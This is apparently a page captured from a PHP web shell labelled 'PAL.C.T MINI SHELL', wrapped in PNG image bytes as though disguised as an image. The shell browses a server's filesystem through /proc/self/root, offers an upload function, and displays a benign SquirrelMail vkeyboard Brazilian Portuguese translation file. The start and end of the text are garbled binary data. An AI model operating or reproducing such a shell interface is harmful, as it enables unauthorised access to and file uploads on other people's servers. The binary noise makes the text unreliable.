php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/pt_BR/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/pt_BR/LC_MESSAGES/vkeyboard.po

# vkeyboard plugin for SquirrelMail project.
# Copyright (C) 2004 Daniel K. Imori
# This file is distributed under the same license as the vkeyboard package.
# Daniel K. Imori <daniel@bastion.com.br>, 2004.
# $Id: vkeyboard.po 13693 2009-05-14 00:26:43Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: vkeyboard 0.8\n"
"POT-Creation-Date: 2004-08-20 17:38-0300\n"
"PO-Revision-Date: 2004-08-20 17:40-300\n"
"Last-Translator: Daniel K. Imori <daniel@bastion.com.br>\n"
"Language-Team: Brazilian Portuguese <daniel@bastion.com.br>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"

#: vkeyboard.php:115
msgid " seconds."
msgstr " segundos."

#: functions.php:49
msgid "Are you using a public computer?"
msgstr "Você está utilizando um computador público?"

#: vkeyboard.php:161
msgid "Clear"
msgstr "Limpar"

#: vkeyboard.php:166
msgid "Close"
msgstr "Fechar"

#: functions.php:51
msgid "Enter your password with the "
msgstr "Digite sua senha com o "

#: vkeyboard.php:107
msgid "Enter your password:"
msgstr "Digite sua senha:"

#: help.php:60
msgid ""
"For this, you must point the mouse and keep it for few seconds on the key "
"that you want to type."
msgstr ""
"Para isto, você deve apontar o mouse e segurá-lo por poucos segundos na tecla "
"que você deseja digitar."

#: vkeyboard.php:109
msgid "Help"
msgstr "Ajuda"

#: help.php:56
msgid ""
"It protects your password against keyloggers, which are hidden programs that "
"capture everything that you type or click."
msgstr ""
"Ele protege sua senha contra keyloggers, que são programas ocultos que "
"capturam tudo que você digita ou clica."

#: help.php:54
msgid "It's a keyboard that simulates a real keyboard. ;)"
msgstr "Ele é um teclado que simula uma teclado real. ;)"

#: vkeyboard.php:156
msgid "Login"
msgstr "Login"

#: functions.php:61
msgid "Open Virtual Keyboard"
msgstr "Abrir Teclado Virtual"

#: help.php:58
msgid ""
"So, you can increase your security, using the virtual keyboard and its "
"\"automatic click\" function."
msgstr ""
"Então, você pode aumentar sua segurança, usando o teclado virtual e sua "
"função \"clique automático\"."

#: vkeyboard.php:113
msgid "The key will be pressed in "
msgstr "A tecla será pressionada em "

#: vkeyboard.php:52
msgid "Virtual Keyboard"
msgstr "teclado virtual"

#: help.php:46
msgid "Virtual Keyboard: Help"
msgstr "Teclado Virtual: Ajuda"

#: help.php:51
msgid "What's a virtual keyboard?"
msgstr "O que é um teclado virtual?"

#: functions.php:56
msgid "virtual keyboard"
msgstr "teclado virtual"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`